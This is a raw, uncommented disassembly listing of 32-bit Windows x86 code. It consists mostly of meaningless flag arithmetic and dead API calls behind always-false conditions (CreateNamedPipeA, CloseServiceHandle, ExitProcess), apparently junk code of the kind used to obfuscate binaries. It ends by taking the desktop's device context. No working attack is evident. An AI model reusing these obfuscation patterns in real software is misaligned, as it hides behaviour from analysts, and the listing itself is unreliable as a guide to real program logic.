lea ecx, [ebp - 0x28e0]
call fcn.0043532a
mov ecx, dword [ebp - 0xc3c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3a8]
add eax, dword [ebp - 0xc3c]
cmp eax, dword [ebp - 0x3a8]
jne 0x4724f5
mov dword [ebp - 0x199c], 1
jmp 0x4724fc
and dword [ebp - 0x199c], 0
cmp dword [ebp - 0x199c], 0xfff6
jbe 0x472514
mov dword [ebp - 0xc44], 1
jmp 0x47251b
and dword [ebp - 0xc44], 0
cmp dword [ebp - 0xc44], 0x7a3ebef2
je 0x472533
mov dword [ebp - 0x19a4], 1
jmp 0x47253a
and dword [ebp - 0x19a4], 0
mov eax, dword [ebp - 0x19a4]
mov dword [ebp - 0x20b0], eax
lea ecx, [ebp - 0x28e0]
call fcn.0043530e
jmp 0x4726aa
mov dword [ebp - 0x5ec], 0
jmp 0x47256f
mov eax, dword [ebp - 0x5ec]
inc eax
mov dword [ebp - 0x5ec], eax
cmp dword [ebp - 0x5ec], 2
jge 0x47258b
mov eax, dword [ebp - 0x5ec]
mov dword [ebp + eax*4 - 0x254c], 0xffffffff
jmp 0x472562
mov dword [ebp - 0x1f0], 0
jmp 0x4725a4
mov eax, dword [ebp - 0x1f0]
dec eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0xfffffff2
jge 0x4725db
mov dword [ebp - 4], 0
jmp 0x4725bd
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 3
jge 0x4725d9
push dword [ebp - 4]
lea ecx, [ebp - 0xb84]
call fcn.0043532a
mov dword [eax], 0xa2b52f10
jmp 0x4725b6
jmp 0x472597
mov esi, dword [ebp - 0x1f0]
push 0
lea ecx, [ebp - 0xb84]
call fcn.0043532a
cmp esi, dword [eax]
je 0x4725fe
mov dword [ebp - 0xc4c], 1
jmp 0x472605
and dword [ebp - 0xc4c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1bc0]
cmp dword [ebp - 0xc4c], eax
jg 0x472626
mov dword [ebp - 0x19ac], 1
jmp 0x47262d
and dword [ebp - 0x19ac], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1f0]
cmp dword [ebp + eax - 0x254c], ecx
je 0x47264e
mov dword [ebp - 0xc54], 1
jmp 0x472655
and dword [ebp - 0xc54], 0
mov eax, dword [ebp - 0x19ac]
cmp eax, dword [ebp - 0xc54]
jge 0x47266f
mov dword [ebp - 0x19b4], 1
jmp 0x472676
and dword [ebp - 0x19b4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x254c]
cmp eax, dword [ebp - 0x19b4]
jle 0x472697
mov dword [ebp - 0xc5c], 1
jmp 0x47269e
and dword [ebp - 0xc5c], 0
mov eax, dword [ebp - 0xc5c]
mov dword [ebp - 0x298], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1bc0], 0xfffffff7
jne 0x4726c6
mov dword [ebp - 0x19bc], 1
jmp 0x4726cd
and dword [ebp - 0x19bc], 0
mov eax, dword [ebp - 0xc64]
imul eax, dword [ebp - 0x19bc]
cmp dword [ebp - 0xc64], eax
jg 0x4726ee
mov dword [ebp - 0x19c4], 1
jmp 0x4726f5
and dword [ebp - 0x19c4], 0
imul eax, dword [ebp - 0x19c4], 0xde04
cmp eax, 0x10da9be8
jl 0x472712
mov dword [ebp - 0x20b8], 1
jmp 0x472719
and dword [ebp - 0x20b8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1bc0]
mov dword [ebp - 0x2f18], eax
mov eax, dword [ebp - 0x20c0]
cmp dword [ebp - 0x104], eax
jge 0x472746
mov dword [ebp - 0xc6c], 1
jmp 0x47274d
and dword [ebp - 0xc6c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2564]
inc eax
mov dword [ebp - 0x19cc], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x19cc]
mov dword [ebp + eax - 0x2564], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc6c]
sub ecx, dword [ebp + eax - 0x1bc0]
cmp dword [ebp - 0x19cc], ecx
jl 0x47279b
mov dword [ebp - 0xc74], 1
jmp 0x4727a2
and dword [ebp - 0xc74], 0
mov eax, dword [ebp - 0xc74]
mov dword [ebp - 0x19d4], eax
mov esi, dword [ebp - 0x19d4]
push 1
lea ecx, [ebp - 0xb84]
call fcn.0043532a
mov dword [eax], esi
lea ecx, [ebp - 0xb84]
call fcn.0043530e
mov dword [ebp - 0x2618], 0xfffffffd
mov dword [ebp - 0x2614], 0xfffffffd
mov dword [ebp - 0x2610], 0xfffffffd
mov dword [ebp - 0x260c], 0xfffffffd
lea ecx, [ebp - 0xab5]
call fcn.00435339
push eax
lea eax, [ebp - 0x2608]
push eax
lea eax, [ebp - 0x2618]
push eax
lea ecx, [ebp - 0x3214]
call fcn.0043533c
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2278]
call fcn.004352e8
mov dword [ebp - 0x2c5c], 0xfffffffd
mov dword [ebp - 0x20d0], 0xffffffff
push 3
lea ecx, [ebp - 0x27f0]
call fcn.0043523c
push 3
lea ecx, [ebp - 0x2268]
call fcn.0043523c
mov dword [ebp - 0x1dc], 0
jmp 0x472872
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 3
jge 0x472894
push dword [ebp - 0x1dc]
lea ecx, [ebp - 0x27f0]
call fcn.0043532a
mov dword [eax], 0xfffffffa
jmp 0x472865
mov dword [ebp - 0x1dc], 0
jmp 0x4728ad
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 3
jge 0x4728cf
push dword [ebp - 0x1dc]
lea ecx, [ebp - 0x2268]
call fcn.0043532a
mov dword [eax], 1
jmp 0x4728a0
push 2
lea ecx, [ebp - 0x2278]
call fcn.0043532a
cmp dword [eax], 1
jl 0x4728ed
mov dword [ebp - 0xc7c], 1
jmp 0x4728f4
and dword [ebp - 0xc7c], 0
push 2
lea ecx, [ebp - 0x2278]
call fcn.0043532a
mov ecx, dword [ebp - 0xc7c]
cmp ecx, dword [eax]
jne 0x472917
mov dword [ebp - 0x20c8], 1
jmp 0x47291e
and dword [ebp - 0x20c8], 0
push 2
lea ecx, [ebp - 0x2278]
call fcn.0043532a
mov eax, dword [ebp - 0x20d0]
mov dword [ebp - 0x19dc], eax
push 2
lea ecx, [ebp - 0x27f0]
call fcn.0043532a
mov ecx, dword [ebp - 0x19dc]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x2268]
call fcn.0043532a
mov ecx, dword [ebp - 0x19dc]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x2268]
call fcn.0043532a
cmp dword [eax], 0
jne 0x47298e
push 3
lea ecx, [ebp - 0x2278]
call fcn.0043532a
cmp dword [eax], 0
jne 0x47298e
and dword [ebp - 0xc84], 0
jmp 0x472998
mov dword [ebp - 0xc84], 1
imul esi, dword [ebp - 0xc84], 0xd205
push 1
lea ecx, [ebp - 0x2268]
call fcn.0043532a
mov dword [eax], esi
lea ecx, [ebp - 0x2268]
call fcn.0043530e
lea ecx, [ebp - 0x27f0]
call fcn.0043530e
lea ecx, [ebp - 0x2278]
call fcn.0043530e
mov dword [ebp - 0x10c], 0
jmp 0x4729eb
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 1
jge 0x472a0d
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x1df4]
call fcn.0043532a
mov dword [eax], 0x1928c176
jmp 0x4729de
mov dword [ebp - 0x7a4], 0x8bbca631
mov dword [ebp - 0x558], 0xb8fa
mov dword [ebp - 0xc8c], 0x8e17c109
mov dword [ebp - 0x7a4], 0
jmp 0x472a44
mov eax, dword [ebp - 0x7a4]
inc eax
mov dword [ebp - 0x7a4], eax
cmp dword [ebp - 0x7a4], 0xf
jne 0x472bb7
push 4
lea ecx, [ebp - 0x2898]
call fcn.0043523c
mov dword [ebp - 0x20d8], 0x85e
mov dword [ebp - 0x5f4], 0
jmp 0x472a81
mov eax, dword [ebp - 0x5f4]
inc eax
mov dword [ebp - 0x5f4], eax
cmp dword [ebp - 0x5f4], 4
jge 0x472aa3
push dword [ebp - 0x5f4]
lea ecx, [ebp - 0x2898]
call fcn.0043532a
mov dword [eax], 0x1265
jmp 0x472a74
push 1
lea ecx, [ebp - 0x2898]
call fcn.0043532a
mov eax, dword [eax]
mov dword [ebp - 0x558], eax
mov dword [ebp - 0x558], 0
jmp 0x472ad1
mov eax, dword [ebp - 0x558]
inc eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 3
jg 0x472ba7
mov dword [ebp - 0x888], 1
cmp dword [ebp - 0x888], 0x90611bc3
jae 0x472b00
mov dword [ebp - 0x19e4], 1
jmp 0x472b07
and dword [ebp - 0x19e4], 0
mov eax, dword [ebp - 0x888]
cmp eax, dword [ebp - 0x19e4]
jl 0x472b21
mov dword [ebp - 0x19ec], 1
jmp 0x472b28
and dword [ebp - 0x19ec], 0
imul eax, dword [ebp - 0x888], 0x3358
mov dword [ebp - 0xc8c], eax
mov eax, dword [ebp - 0xc8c]
cmp eax, dword [ebp - 0x19ec]
jle 0x472b52
mov dword [ebp - 0xc94], 1
jmp 0x472b59
and dword [ebp - 0xc94], 0
mov eax, dword [ebp - 0x888]
cmp eax, dword [ebp - 0xc94]
jg 0x472b73
mov dword [ebp - 0x19f4], 1
jmp 0x472b7a
and dword [ebp - 0x19f4], 0
cmp dword [ebp - 0x19f4], 0
jge 0x472b8f
mov dword [ebp - 0xc9c], 1
jmp 0x472b96
and dword [ebp - 0xc9c], 0
mov eax, dword [ebp - 0xc9c]
mov dword [ebp - 0x20d8], eax
jmp 0x472ac4
lea ecx, [ebp - 0x2898]
call fcn.0043530e
jmp 0x472a37
mov dword [ebp - 0x10c], 0
jmp 0x472bd0
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 1
jge 0x472bf2
push dword [ebp - 0x10c]
lea ecx, [ebp - 0xb08]
call fcn.0043532a
mov dword [eax], 0xfffffffd
jmp 0x472bc3
mov dword [ebp - 0xa4], 1
push 2
lea ecx, [ebp - 0x5a8]
call fcn.0043523c
mov dword [ebp - 0x458], 0xffffffff
mov dword [ebp - 0x5fc], 0
jmp 0x472c2c
mov eax, dword [ebp - 0x5fc]
inc eax
mov dword [ebp - 0x5fc], eax
cmp dword [ebp - 0x5fc], 2
jge 0x472c4e
push dword [ebp - 0x5fc]
lea ecx, [ebp - 0x5a8]
call fcn.0043532a
mov dword [eax], 0xfadacd7d
jmp 0x472c1f
mov dword [ebp - 0xa4], 0xeec5
cmp dword [ebp - 0xa4], 0xa00f
jle 0x472c70
mov dword [ebp - 0xcb4], 1
jmp 0x472c77
and dword [ebp - 0xcb4], 0
push 1
lea ecx, [ebp - 0x5a8]
call fcn.0043532a
cmp dword [eax], 0
je 0x472c95
mov dword [ebp - 0x19fc], 1
jmp 0x472c9c
and dword [ebp - 0x19fc], 0
push 0
lea ecx, [ebp - 0x5a8]
call fcn.0043532a
mov ecx, dword [ebp - 0x19fc]
cmp ecx, dword [eax]
jl 0x472cbf
mov dword [ebp - 0xca4], 1
jmp 0x472cc6
and dword [ebp - 0xca4], 0
push 0
lea ecx, [ebp - 0x5a8]
call fcn.0043532a
mov ecx, dword [ebp - 0xca4]
cmp ecx, dword [eax]
jge 0x472ce9
mov dword [ebp - 0x1a04], 1
jmp 0x472cf0
and dword [ebp - 0x1a04], 0
push 1
lea ecx, [ebp - 0x5a8]
call fcn.0043532a
mov ecx, dword [ebp - 0x1a04]
cmp ecx, dword [eax]
jl 0x472d25
push 1
lea ecx, [ebp - 0x5a8]
call fcn.0043532a
cmp dword [eax], 0
je 0x472d25
mov dword [ebp - 0xcac], 1
jmp 0x472d2c
and dword [ebp - 0xcac], 0
push 0
lea ecx, [ebp - 0x5a8]
call fcn.0043532a
mov ecx, dword [ebp - 0xcac]
cmp ecx, dword [eax]
jle 0x472d4f
mov dword [ebp - 0x1a0c], 1
jmp 0x472d56
and dword [ebp - 0x1a0c], 0
push 0
lea ecx, [ebp - 0x5a8]
call fcn.0043532a
mov ecx, dword [ebp - 0x1a0c]
cmp ecx, dword [eax]
jl 0x472d79
mov dword [ebp - 0x1a14], 1
jmp 0x472d80
and dword [ebp - 0x1a14], 0
mov eax, dword [ebp - 0xcb4]
cmp eax, dword [ebp - 0x1a14]
jl 0x472dac
push 1
lea ecx, [ebp - 0x5a8]
call fcn.0043532a
cmp dword [eax], 0
je 0x472dac
mov dword [ebp - 0xcbc], 1
jmp 0x472db3
and dword [ebp - 0xcbc], 0
cmp dword [ebp - 0xcbc], 0xffffffff
ja 0x472dc8
mov dword [ebp - 0x1a1c], 1
jmp 0x472dcf
and dword [ebp - 0x1a1c], 0
push 0
lea ecx, [ebp - 0x5a8]
call fcn.0043532a
mov ecx, dword [ebp - 0x1a1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0x2edc], eax
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x458], 1
jmp 0x472e15
mov eax, dword [ebp - 0x458]
dec eax
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 0
jl 0x473042
mov dword [ebp - 0xb4], 0xfffffff8
mov dword [ebp - 0xa4], 0
jmp 0x472e45
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 1
jg 0x47303d
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x5a8]
call fcn.0043532a
cmp dword [eax], 0x6e28
jg 0x472e77
mov dword [ebp - 0xcc4], 1
jmp 0x472e7e
and dword [ebp - 0xcc4], 0
imul eax, dword [ebp - 0xcc4], 0x7b18
mov ecx, dword [ebp - 0xa4]
add ecx, dword [ebp - 0xa4]
cmp eax, ecx
jle 0x472ea4
mov dword [ebp - 0x20e0], 1
jmp 0x472eab
and dword [ebp - 0x20e0], 0
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x5a8]
call fcn.0043532a
mov eax, dword [eax]
neg eax
cmp eax, dword [ebp - 0xb4]
jle 0x472ed4
mov dword [ebp - 0x1a24], 1
jmp 0x472edb
and dword [ebp - 0x1a24], 0
push 1
lea ecx, [ebp - 0x5a8]
call fcn.0043532a
mov ecx, dword [ebp - 0x1a24]
cmp ecx, dword [eax]
jl 0x472efe
mov dword [ebp - 0xccc], 1
jmp 0x472f05
and dword [ebp - 0xccc], 0
mov eax, dword [ebp - 0xccc]
sub eax, dword [ebp - 0xb4]
je 0x473000
mov dword [ebp - 0xb4], 0
jmp 0x472f30
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 1
jg 0x472ffe
push 3
lea ecx, [ebp - 0x2288]
call fcn.0043523c
mov dword [ebp - 0x7ac], 0
jmp 0x472f63
mov eax, dword [ebp - 0x7ac]
inc eax
mov dword [ebp - 0x7ac], eax
cmp dword [ebp - 0x7ac], 3
jge 0x472f85
push dword [ebp - 0x7ac]
lea ecx, [ebp - 0x2288]
call fcn.0043532a
mov dword [eax], 0xe13c9534
jmp 0x472f56
push 2
lea ecx, [ebp - 0x2288]
call fcn.0043532a
mov dword [eax], 1
jmp 0x472fbe
push 2
lea ecx, [ebp - 0x2288]
call fcn.0043532a
mov dword [ebp - 0x1a2c], eax
mov eax, dword [ebp - 0x1a2c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1a2c]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x2288]
call fcn.0043532a
cmp dword [eax], 0
jl 0x472fee
mov byte [ebp - 0x339], 0
movzx eax, byte [ebp - 0x339]
test eax, eax
je 0x472fec
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
jmp 0x472f9a
lea ecx, [ebp - 0x2288]
call fcn.0043530e
jmp 0x472f23
jmp 0x473038
mov dword [ebp - 0xb4], 0
jmp 0x473019
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 1
jg 0x473038
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x5a8]
call fcn.0043532a
or dword [eax], 0xffffffff
jmp 0x47300c
jmp 0x472e38
jmp 0x472e08
lea ecx, [ebp - 0x5a8]
call fcn.0043530e
push 0
lea ecx, [ebp - 0xb08]
call fcn.0043532a
and dword [eax], 0
jmp 0x473083
push 0
lea ecx, [ebp - 0xb08]
call fcn.0043532a
cmp dword [eax], 0
jl 0x4762bb
push 4
lea ecx, [ebp - 0x2d60]
call fcn.0043523c
mov dword [ebp - 0x940], 0x66fe7d8a
mov dword [ebp - 0x604], 0
jmp 0x4730c9
mov eax, dword [ebp - 0x604]
inc eax
mov dword [ebp - 0x604], eax
cmp dword [ebp - 0x604], 4
jge 0x4730e8
push dword [ebp - 0x604]
lea ecx, [ebp - 0x2d60]
call fcn.0043532a
and dword [eax], 0
jmp 0x4730bc
mov dword [ebp - 0x940], 3
jmp 0x473101
mov eax, dword [ebp - 0x940]
dec eax
mov dword [ebp - 0x940], eax
cmp dword [ebp - 0x940], 0
jl 0x47313a
mov dword [ebp - 0x20e8], 0xf82f
mov dword [ebp - 0x20e8], 0x4b25b3b9
mov byte [ebp - 0x24e], 0
movzx eax, byte [ebp - 0x24e]
test eax, eax
je 0x473138
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4730f4
lea ecx, [ebp - 0x2d60]
call fcn.0043530e
mov dword [ebp - 0x1d0], 0xcf5aa05
mov dword [ebp - 0x490], 0xffffffff
mov dword [ebp - 0x404], 0xfc3a065c
mov dword [ebp - 0x7b4], 0xf4f823aa
mov dword [ebp - 0xa64], 0x41ac3dc9
mov dword [ebp - 0x518], 0xc3d6c1df
mov dword [ebp - 0x614], 8
mov dword [ebp - 0x23d4], 1
mov dword [ebp - 0x23d0], 1
mov dword [ebp - 0x23cc], 1
mov dword [ebp - 0x23c8], 1
push 2
lea ecx, [ebp - 0x2808]
call fcn.0043523c
mov dword [ebp - 0x60c], 0
jmp 0x4731d9
mov eax, dword [ebp - 0x60c]
inc eax
mov dword [ebp - 0x60c], eax
cmp dword [ebp - 0x60c], 2
jge 0x4731fb
push dword [ebp - 0x60c]
lea ecx, [ebp - 0x2808]
call fcn.0043532a
mov dword [eax], 0xfff8
jmp 0x4731cc
mov eax, dword [ebp - 0x490]
mov dword [ebp - 0x2c64], eax
or eax, 0xffffffff
sub eax, dword [ebp - 0x490]
cmp eax, 1
je 0x473221
mov dword [ebp - 0x1a34], 1
jmp 0x473228
and dword [ebp - 0x1a34], 0
cmp dword [ebp - 0x1a34], 0
jae 0x47323d
mov dword [ebp - 0xcdc], 1
jmp 0x473244
and dword [ebp - 0xcdc], 0
cmp dword [ebp - 0xcdc], 6
ja 0x473259
mov dword [ebp - 0x1a3c], 1
jmp 0x473260
and dword [ebp - 0x1a3c], 0
mov eax, dword [ebp - 0x1a3c]
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x7b4], eax
mov eax, dword [ebp - 0x7b4]
mov ecx, dword [ebp - 0xa64]
lea eax, [eax + ecx + 1]
test eax, eax
jne 0x47329e
cmp dword [ebp - 0x404], 0
jne 0x47329e
and dword [ebp - 0xce4], 0
jmp 0x4732a8
mov dword [ebp - 0xce4], 1
mov eax, dword [ebp - 0xce4]
mov dword [ebp - 0x518], eax
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0x518], eax
jg 0x4732ce
mov dword [ebp - 0x1a44], 1
jmp 0x4732d5
and dword [ebp - 0x1a44], 0
cmp dword [ebp - 0x1a44], 0x70ad
je 0x4732ed
mov dword [ebp - 0xcec], 1
jmp 0x4732f4
and dword [ebp - 0xcec], 0
cmp dword [ebp - 0xcec], 0x856d
jge 0x47330c
mov dword [ebp - 0x1a4c], 1
jmp 0x473313
and dword [ebp - 0x1a4c], 0
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0x1a4c], eax
jle 0x47332d
mov dword [ebp - 0xcf4], 1
jmp 0x473334
and dword [ebp - 0xcf4], 0
mov eax, dword [ebp - 0xcf4]
mov dword [ebp - 0x614], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x404]
mov dword [ebp + eax - 0x23d4], ecx
cmp dword [ebp - 0xa64], 0xc2e3
jle 0x47336b
mov dword [ebp - 0x1a5c], 1
jmp 0x473372
and dword [ebp - 0x1a5c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x23d4]
mov dword [ebp - 0x2f20], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x23d4]
mov dword [ebp - 0x1a54], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1a54]
mov dword [ebp + eax - 0x23d4], ecx
mov eax, dword [ebp - 0x1a54]
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0
jne 0x4733d5
xor eax, eax
jne 0x4733d5
cmp dword [ebp - 0xa64], 0
jne 0x4733d5
and dword [ebp - 0xcfc], 0
jmp 0x4733df
mov dword [ebp - 0xcfc], 1
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0xcfc], eax
jl 0x4733f9
mov dword [ebp - 0x20f0], 1
jmp 0x473400
and dword [ebp - 0x20f0], 0
mov eax, dword [ebp - 0x614]
mov dword [ebp - 0x2c6c], eax
mov eax, dword [ebp - 0x1a5c]
mov dword [ebp - 0x7b4], eax
imul eax, dword [ebp - 0x7b4], 0
mov dword [ebp - 0x614], eax
mov eax, dword [ebp - 0x614]
sub eax, dword [ebp - 0x518]
cmp eax, dword [ebp - 0x518]
jg 0x473445
mov dword [ebp - 0xd04], 1
jmp 0x47344c
and dword [ebp - 0xd04], 0
cmp dword [ebp - 0xd04], 0xfffffffe
jl 0x473461
mov dword [ebp - 0x1a64], 1
jmp 0x473468
and dword [ebp - 0x1a64], 0
push 1
lea ecx, [ebp - 0x2808]
call fcn.0043532a
mov ecx, dword [ebp - 0x1a64]
imul ecx, dword [eax]
mov dword [ebp - 0x518], ecx
lea ecx, [ebp - 0x2808]
call fcn.0043530e
mov dword [ebp - 0x21e0], 0xffffffff
mov dword [ebp - 0x474], 0xffffffff
mov dword [ebp - 0x3b4], 0xfc3a065c
mov dword [ebp - 0x61c], 0xf4f823aa
mov dword [ebp - 0x9a8], 0x41ac3dc9
mov dword [ebp - 0x498], 0xc3d6c1df
mov dword [ebp - 0x7bc], 8
mov dword [ebp - 0x23e8], 1
mov dword [ebp - 0x23e4], 1
mov dword [ebp - 0x23e0], 1
mov dword [ebp - 0x23dc], 1
push 2
lea ecx, [ebp - 0x2910]
call fcn.0043523c
mov dword [ebp - 0x890], 0
jmp 0x473523
cmp dword [ebp - 0x890], 2
jge 0x473545
push 1
lea ecx, [ebp - 0x1cb4]
call fcn.0043523c
mov dword [ebp - 0x684], 0
jmp 0x4762e1
mov eax, dword [ebp - 0x684]
inc eax
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], 1
jge 0x476303
push dword [ebp - 0x684]
lea ecx, [ebp - 0x1cb4]
call fcn.0043532a
mov dword [eax], 0xd5e48d32
jmp 0x4762d4
push 0
lea ecx, [ebp - 0x1cb4]
call fcn.0043532a
mov dword [eax], 0xffffffea
jmp 0x47633c
push 0
lea ecx, [ebp - 0x1cb4]
call fcn.0043532a
mov dword [ebp - 0x19c0], eax
mov eax, dword [ebp - 0x19c0]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x19c0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1cb4]
call fcn.0043532a
cmp dword [eax], 0x15
jge 0x4763d4
mov dword [ebp - 0x938], 0x683c8fc5
mov dword [ebp - 0x21e8], 3
mov dword [ebp - 0x938], 0xffffffea
jmp 0x47637f
mov eax, dword [ebp - 0x938]
inc eax
mov dword [ebp - 0x938], eax
cmp dword [ebp - 0x938], 9
jle 0x4763c4
mov byte [ebp - 0x25e], 0
movzx eax, byte [ebp - 0x25e]
test eax, eax
je 0x4763c2
push 0
push 0x303
push 0xb57
push 0x6be
push 0x176e
push 0x1bee
push 0x24a5
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
jmp 0x476372
cmp dword [ebp - 0x21e8], 0
je 0x4763cf
jmp 0x4763d4
jmp 0x476318
push 0
lea ecx, [ebp - 0x1cb4]
call fcn.0043532a
mov esi, eax
push 0
lea ecx, [ebp - 0x1cb4]
call fcn.0043532a
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x476402
mov dword [ebp - 0xf14], 1
jmp 0x476409
and dword [ebp - 0xf14], 0
push 0
lea ecx, [ebp - 0x1cb4]
call fcn.0043532a
mov ecx, dword [ebp - 0xf14]
mov dword [eax], ecx
lea ecx, [ebp - 0x1cb4]
call fcn.0043530e
push 3
lea ecx, [ebp - 0x22b8]
call fcn.0043523c
mov dword [ebp - 0x134], 0
jmp 0x47644f
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 3
jge 0x476471
push dword [ebp - 0x134]
lea ecx, [ebp - 0x22b8]
call fcn.0043532a
mov dword [eax], 0x399841b3
jmp 0x476442
mov dword [ebp - 0x134], 0
jmp 0x47648a
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 1
jge 0x4764a6
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0x2a84], 0xebb6
jmp 0x47647d
push 2
lea ecx, [ebp - 0x22b8]
call fcn.0043532a
mov dword [eax], 0x18
jmp 0x4764df
push 2
lea ecx, [ebp - 0x22b8]
call fcn.0043532a
mov dword [ebp - 0x162c], eax
mov eax, dword [ebp - 0x162c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x162c]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x22b8]
call fcn.0043532a
cmp dword [eax], 0xfffffff4
je 0x476564
mov dword [ebp - 0x68c], 0x7fd1e814
mov dword [ebp - 0x68c], 0
jmp 0x476514
mov eax, dword [ebp - 0x68c]
dec eax
mov dword [ebp - 0x68c], eax
cmp dword [ebp - 0x68c], 0
jl 0x47655f
mov byte [ebp - 0x39c], 0
movzx eax, byte [ebp - 0x39c]
test eax, eax
je 0x47653a
push 0x1737
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [ebp - 0x260], 0
movzx eax, byte [ebp - 0x260]
test eax, eax
je 0x47655d
push 0
push 1
push 0x4a4
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
jmp 0x476507
jmp 0x4764bb
lea ecx, [ebp - 0x22b8]
call fcn.0043530e
mov byte [ebp - 0x361], 0
mov dword [ebp - 0x7f4], 0x1f7e2799
mov dword [ebp - 0x7f4], 0xfffffff2
jmp 0x476599
mov eax, dword [ebp - 0x7f4]
inc eax
mov dword [ebp - 0x7f4], eax
cmp dword [ebp - 0x7f4], 0xd
jne 0x476634
mov dword [ebp - 0x21f0], 0xfffffffb
mov dword [ebp - 0x58c], 0xb7cefa9d
mov dword [ebp - 0x21f8], 0xa50b5f0b
mov eax, dword [ebp - 0x21f0]
mov dword [ebp - 0x58c], eax
mov dword [ebp - 0x58c], 0
jmp 0x4765e9
mov eax, dword [ebp - 0x58c]
dec eax
mov dword [ebp - 0x58c], eax
cmp dword [ebp - 0x58c], 0xfffffff2
jg 0x47662f
mov dword [ebp - 0xf1c], 0xd0289a69
cmp dword [ebp - 0xf1c], 0
je 0x47661a
cmp dword [ebp - 0xf1c], 0
je 0x47661a
mov dword [ebp - 0x1b88], 1
jmp 0x476621
and dword [ebp - 0x1b88], 0
mov eax, dword [ebp - 0x1b88]
mov dword [ebp - 0x21f8], eax
jmp 0x4765dc
jmp 0x47658c
movzx eax, byte [ebp - 0x361]
test eax, eax
je 0x47673b
mov dword [ebp - 0x3cc], 0x2c70bb74
mov dword [ebp - 0x694], 0
jmp 0x476666
mov eax, dword [ebp - 0x694]
inc eax
mov dword [ebp - 0x694], eax
cmp dword [ebp - 0x694], 1
jge 0x476682
mov eax, dword [ebp - 0x694]
mov dword [ebp + eax*4 - 0x9d0], 0xfffffff8
jmp 0x476659
mov dword [ebp - 0x3cc], 0
jmp 0x47669b
cmp dword [ebp - 0x3cc], 0
jl 0x476707
mov eax, dword [ebp - 0x3cc]
cmp dword [ebp + eax*4 - 0x9d0], 0x8067e307
jae 0x4766c3
mov dword [ebp - 0xf24], 1
jmp 0x4766ca
and dword [ebp - 0xf24], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9d0]
cmp dword [ebp - 0xf24], eax
jne 0x4766eb
mov dword [ebp - 0x1634], 1
jmp 0x4766f2
and dword [ebp - 0x1634], 0
mov eax, dword [ebp - 0x3cc]
mov ecx, dword [ebp - 0x1634]
mov dword [ebp + eax*4 - 0x9d0], ecx
jmp 0x47668e
mov byte [ebp - 0x262], 0
movzx eax, byte [ebp - 0x262]
test eax, eax
je 0x476721
push 0
call dword [sym.imp.USER32.dll_CharNextW]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
lea ecx, [ebp - 0xb08]
call fcn.0043530e
lea ecx, [ebp - 0x1df4]
